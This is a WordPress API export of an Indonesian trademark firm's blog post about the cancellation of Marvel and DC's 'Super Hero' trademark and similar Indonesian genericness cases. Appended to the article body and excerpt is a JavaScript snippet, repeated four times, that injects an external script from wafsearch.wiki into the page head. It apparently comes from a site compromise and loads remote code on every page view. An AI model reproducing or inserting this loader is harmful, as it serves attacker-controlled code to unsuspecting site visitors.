{"id":5147,"date":"2024-10-16T09:23:47","date_gmt":"2024-10-16T09:23:47","guid":{"rendered":"https:\/\/affa.co.id\/?p=5147"},"modified":"2024-10-16T09:23:47","modified_gmt":"2024-10-16T09:23:47","slug":"merek-pahlawan-super-berhasil-direbut-dari-marvel-dc","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2024\/10\/16\/merek-pahlawan-super-berhasil-direbut-dari-marvel-dc\/","title":{"rendered":"Merek \u201cPahlawan Super\u201d Berhasil Direbut dari Marvel &amp; DC"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Selama puluhan tahun, kita dan mungkin sebagian warga dunia lainnya tidak mengetahui kalau istilah <\/span><b><i>\u201cSuper Hero\u201d<\/i><\/b><span style=\"font-weight: 400\"> atau dalam bentuk jamaknya <\/span><b><i>\u201cSuper Heroes\u201d<\/i><\/b><span style=\"font-weight: 400\"> merupakan Merek terdaftar yang resmi dimiliki bersama sejak 1979 oleh dua studio komik terbesar Amerika Serikat: Marvel dan DC Comics. Sebagai Merek terdaftar, mereka mendapatkan Hak Eksklusif untuk mendapatkan manfaat ekonomi dari setiap komersialisi nama tersebut, termasuk menggugat pihak lain yang menggunakan dan mengambil keuntungan tanpa izin.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika kita melihat jauh ke belakang, Marvel dan DC Comics memang sangat beralasan mendaftarkan \u201cSuper Hero\u201d sebagai Merek yang secara eksklusif hanya boleh digunakan oleh mereka sendiri. Karena mereka secara aktif memproduksi banyak komik pahlawan super dengan banyak karakter, dan terkadang beramai-ramai <\/span><i><span style=\"font-weight: 400\">\u201cteam-up\u201d<\/span><\/i><span style=\"font-weight: 400\"> untuk melawan sekumpulan penjahat, bahkan bertarung bersama pula dengan karakter-karakter pahlawan super lintas penerbit. Maka tidak mengherankan kalau mereka mem-<\/span><i><span style=\"font-weight: 400\">branding<\/span><\/i><span style=\"font-weight: 400\"> karakter-karakter yang mereka miliki sebagai <\/span><i><span style=\"font-weight: 400\">Super Hero<\/span><\/i><span style=\"font-weight: 400\"> untuk membedakannya dengan karakter-karakter jagoan yang diproduksi oleh penerbit komik lainnya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Istilah yang Dianggap Umum Dapat Dibatalkan<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun berpuluh-puluh tahun kemudian, istilah \u201cSuper Hero\u201d ini sudah dianggap terlalu umum yang tidak pantas untuk dikuasai oleh segelintir pihak saja. Misalnya di Jepang ada istilah <\/span><b><i>\u201cSuper Hero Time\u201d<\/i><\/b><span style=\"font-weight: 400\"> yang digunakan oleh <\/span><b>TV Asahi <\/b><span style=\"font-weight: 400\">untuk mem-<\/span><i><span style=\"font-weight: 400\">branding<\/span><\/i><span style=\"font-weight: 400\"> belt tayangan serial pahlawan super di hari Minggu pagi, begitu juga di Indonesia yang memiliki media online bernama<\/span><b><i> \u201cSuper Hero Max.\u201d<\/i><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Ditelusuri dari data <\/span><b>Kantor Paten dan Merek Amerika Serikat (USPTO)<\/b><span style=\"font-weight: 400\">, setidaknya ada 10 kelas Merek yang didaftarkan oleh Marvel dan DC Comics untuk <\/span><i><span style=\"font-weight: 400\">Super Hero(es)<\/span><\/i><span style=\"font-weight: 400\">. Mulai dari Kelas 3 (sabun mandi), 9 (rekaman musik), 16 (buku), 18 (tas, dompet, payung, dll.), 21 (wadah makanan dan minuman), 24 (kain), 25 (pakaian), 28 (mainan), 30 (es krim), hingga kelas 41 (hiburan). Pemagaran yang dianggap berlebihan ini kemudian digugat oleh<\/span><b> Scott Richold <\/b><span style=\"font-weight: 400\">dari <\/span><b>Superbabies Ltd.<\/b><span style=\"font-weight: 400\">, yang mengatakan istilah <\/span><i><span style=\"font-weight: 400\">Super Hero <\/span><\/i><span style=\"font-weight: 400\">sudah sangat umum yang tidak boleh dimonopoli oleh pihak tertentu.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Karena dalam Undang-Undang Merek Amerika Serikat tentang Pembatalan Merek Terdaftar (15 U.S.C. \u00a7 1064(3)), disebutkan bahwa:<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><b><i>&#8220;A registered mark may be canceled at any time if it becomes the generic name for the goods or services.&#8221;<\/i><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Ia pun melayangkan gugatan ke <\/span><b><i>Trademark Trial and Appeal Board (TTAB)<\/i><\/b><span style=\"font-weight: 400\">, lembaga administratif dari USPTO yang khusus menangani sengketa Merek di bulan Mei 2024. Dan setelah melalui beberapa proses persidangan, DC &amp; Marvel \u201cmengalah,\u201d mundur dari persidangan hingga akhirnya TTAB memutuskan istilah <\/span><i><span style=\"font-weight: 400\">Super Hero(es) <\/span><\/i><span style=\"font-weight: 400\">sah menjadi nama umum yang tidak bisa didaftarkan atau dimiliki eksklusif oleh siapa pun. USPTO pun sudah membatalkan kepemilikan seluruh Merek <\/span><i><span style=\"font-weight: 400\">Super Hero(es)<\/span><\/i><span style=\"font-weight: 400\"> milik Marvel dan DC Comics di semua kelas per 26 September 2024.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Kasus Serupa Pernah Terjadi di Indonesia<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Gugatan atas Merek yang dianggap mengandung kata yang bersifat umum juga pernah terjadi di Indonesia. Misalnya pembatalan sejumlah pengajuan permohonan Merek <\/span><b><i>\u201cFashion Week\u201d<\/i><\/b><span style=\"font-weight: 400\"> yang sempat ramai dari viralnya<\/span><b> \u201cCitayam Fashion Week\u201d <\/b><span style=\"font-weight: 400\">di tahun 2022. Begitu juga dengan gugatan pembatalan Merek <\/span><b>\u201cOpen Mic Indonesia\u201d <\/b><span style=\"font-weight: 400\">di tahun yang sama. Padahal Merek tersebut telah terdaftar sejak 2013.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan adanya pendaftaran ini, para <\/span><i><span style=\"font-weight: 400\">standup comedian<\/span><\/i><span style=\"font-weight: 400\"> Indonesia tidak bisa menggunakan nama tersebut untuk menjual aksinya di atas panggung. Beberapa <\/span><i><span style=\"font-weight: 400\">cafe<\/span><\/i><span style=\"font-weight: 400\"> penyelenggara juga digugat dari ratusan juta hingga 1 milyar, karena mengadakan hiburan \u201copen mic\u201d yang merupakan istilah umum yang digunakan untuk menggambarkan aksi para pelawak<\/span> <span style=\"font-weight: 400\">tersebut di atas panggung.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Gugatan itu akhirnya dikabulkan di bulan April 2023, setelah Majelis Hakim Pengadilan Niaga Jakarta Pusat mengabulkan gugatan pembatalan Merek &#8220;Open Mic Indonesia&#8221; dan memutuskan \u201copen mic\u201d merupakan kata umum yang tidak dapat didaftarkan sesuai <\/span><b>Pasal 20 huruf f dari Undang-Undang Merek <\/b><span style=\"font-weight: 400\">yang menyatakan bahwa Merek tidak dapat didaftar jika merupakan nama umum dan\/atau lambang milik umum.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span>Maka dari itu, jika Anda tertarik mendaftarkan istilah umum sebagai Merek, perlu dipertimbangkan beribu kali. Karena selain bertentangan dengan Pasal 20 huruf f di atas, juga berpotensi melanggar <\/span><b>Pasal 21 ayat (3) <\/b><span>yang menyatakan Permohonan Merek ditolak jika diajukan oleh Pemohon yang beriktikad tidak baik. Dengan demikian, Merek yang Anda miliki beresiko digugat di kemudian hari dan dapat mengakibatkan kerugian yang tidak sedikit dalam bisnis Anda.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Baca juga:<\/i><\/b><b><i><br \/>\n<\/i><\/b><a href=\"https:\/\/affa.co.id\/bhs\/studi-kasus-pembatalan-merek-guangzhou-sanwich-biology-technology-co-ltd-berhasil-membatalkan-merek-sevich-di-indonesia\/\"><b><i>Studi Kasus Pembatalan Merek \u2013 Guangzhou Sanwich Biology Technology, Co., Ltd. Berhasil Membatalkan Merek \u201cSEVICH\u201d di Indonesia!<\/i><\/b><\/a><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait pendaftaran, perlindungan, hingga pembatalan Merek di Indonesia atau manca negara, Anda dapat menghubungi kami melalui email: <\/b><a href=\"mailto:trademark@affa.co.id\"><b>trademark@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Selama puluhan tahun, kita dan mungkin sebagian warga dunia lainnya tidak mengetahui kalau istilah \u201cSuper Hero\u201d atau dalam bentuk jamaknya \u201cSuper Heroes\u201d merupakan Merek terdaftar yang resmi dimiliki bersama sejak 1979 oleh dua studio komik terbesar Amerika Serikat: Marvel dan DC Comics. Sebagai Merek terdaftar, mereka mendapatkan Hak Eksklusif untuk mendapatkan manfaat ekonomi dari setiap komersialisi nama tersebut, termasuk menggugat pihak lain yang menggunakan dan mengambil keuntungan tanpa izin. &nbsp; Jika kita melihat jauh ke belakang, Marvel dan DC Comics memang sangat beralasan mendaftarkan \u201cSuper Hero\u201d sebagai Merek yang secara eksklusif hanya boleh digunakan oleh mereka sendiri. Karena mereka secara aktif memproduksi banyak komik pahlawan super dengan banyak karakter, dan terkadang beramai-ramai \u201cteam-up\u201d untuk melawan sekumpulan penjahat, bahkan bertarung bersama pula dengan karakter-karakter pahlawan super lintas penerbit. Maka tidak mengherankan kalau mereka mem-branding karakter-karakter yang mereka miliki sebagai Super Hero untuk membedakannya dengan karakter-karakter jagoan yang diproduksi oleh penerbit komik lainnya. &nbsp; Istilah yang Dianggap Umum Dapat Dibatalkan &nbsp; Namun berpuluh-puluh tahun kemudian, istilah \u201cSuper Hero\u201d ini sudah dianggap terlalu umum yang tidak pantas untuk dikuasai oleh segelintir pihak saja. Misalnya di Jepang ada istilah \u201cSuper Hero Time\u201d yang digunakan oleh TV Asahi untuk mem-branding belt tayangan serial pahlawan super di hari Minggu pagi, begitu juga di Indonesia yang memiliki media online bernama \u201cSuper Hero Max.\u201d &nbsp; Ditelusuri dari data Kantor Paten dan Merek Amerika Serikat (USPTO), setidaknya ada 10 kelas Merek yang didaftarkan oleh Marvel dan DC Comics untuk Super Hero(es). Mulai dari Kelas 3 (sabun mandi), 9 (rekaman musik), 16 (buku), 18 (tas, dompet, payung, dll.), 21 (wadah makanan dan minuman), 24 (kain), 25 (pakaian), 28 (mainan), 30 (es krim), hingga kelas 41 (hiburan). Pemagaran yang dianggap berlebihan ini kemudian digugat oleh Scott Richold dari Superbabies Ltd., yang mengatakan istilah Super Hero sudah sangat umum yang tidak boleh dimonopoli oleh pihak tertentu. &nbsp; Karena dalam Undang-Undang Merek Amerika Serikat tentang Pembatalan Merek Terdaftar (15 U.S.C. \u00a7 1064(3)), disebutkan bahwa: &#8220;A registered mark may be canceled at any time if it becomes the generic name for the goods or services.&#8221; &nbsp; Ia pun melayangkan gugatan ke Trademark Trial and Appeal Board (TTAB), lembaga administratif dari USPTO yang khusus menangani sengketa Merek di bulan Mei 2024. Dan setelah melalui beberapa proses persidangan, DC &amp; Marvel \u201cmengalah,\u201d mundur dari persidangan hingga akhirnya TTAB memutuskan istilah Super Hero(es) sah menjadi nama umum yang tidak bisa didaftarkan atau dimiliki eksklusif oleh siapa pun. USPTO pun sudah membatalkan kepemilikan seluruh Merek Super Hero(es) milik Marvel dan DC Comics di semua kelas per 26 September 2024. &nbsp; Kasus Serupa Pernah Terjadi di Indonesia &nbsp; Gugatan atas Merek yang dianggap mengandung kata yang bersifat umum juga pernah terjadi di Indonesia. Misalnya pembatalan sejumlah pengajuan permohonan Merek \u201cFashion Week\u201d yang sempat ramai dari viralnya \u201cCitayam Fashion Week\u201d di tahun 2022. Begitu juga dengan gugatan pembatalan Merek \u201cOpen Mic Indonesia\u201d di tahun yang sama. Padahal Merek tersebut telah terdaftar sejak 2013. &nbsp; Dengan adanya pendaftaran ini, para standup comedian Indonesia tidak bisa menggunakan nama tersebut untuk menjual aksinya di atas panggung. Beberapa cafe penyelenggara juga digugat dari ratusan juta hingga 1 milyar, karena mengadakan hiburan \u201copen mic\u201d yang merupakan istilah umum yang digunakan untuk menggambarkan aksi para pelawak tersebut di atas panggung. &nbsp; Gugatan itu akhirnya dikabulkan di bulan April 2023, setelah Majelis Hakim Pengadilan Niaga Jakarta Pusat mengabulkan gugatan pembatalan Merek &#8220;Open Mic Indonesia&#8221; dan memutuskan \u201copen mic\u201d merupakan kata umum yang tidak dapat didaftarkan sesuai Pasal 20 huruf f dari Undang-Undang Merek yang menyatakan bahwa Merek tidak dapat didaftar jika merupakan nama umum dan\/atau lambang milik umum. &nbsp; Maka dari itu, jika Anda tertarik mendaftarkan istilah umum sebagai Merek, perlu dipertimbangkan beribu kali. Karena selain bertentangan dengan Pasal 20 huruf f di atas, juga berpotensi melanggar Pasal 21 ayat (3) yang menyatakan Permohonan Merek ditolak jika diajukan oleh Pemohon yang beriktikad tidak baik. Dengan demikian, Merek yang Anda miliki beresiko digugat di kemudian hari dan dapat mengakibatkan kerugian yang tidak sedikit dalam bisnis Anda. &nbsp; Baca juga: Studi Kasus Pembatalan Merek \u2013 Guangzhou Sanwich Biology Technology, Co., Ltd. Berhasil Membatalkan Merek \u201cSEVICH\u201d di Indonesia! Jika Anda membutuhkan informasi lebih lanjut terkait pendaftaran, perlindungan, hingga pembatalan Merek di Indonesia atau manca negara, Anda dapat menghubungi kami melalui email: trademark@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5145,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[305,306,307,308,309,310,314,405,477,478],"class_list":["post-5147","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-daftar","tag-super-hero","tag-super-heroes"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5147","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5147"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5147\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5145"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5147"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5147"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5147"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}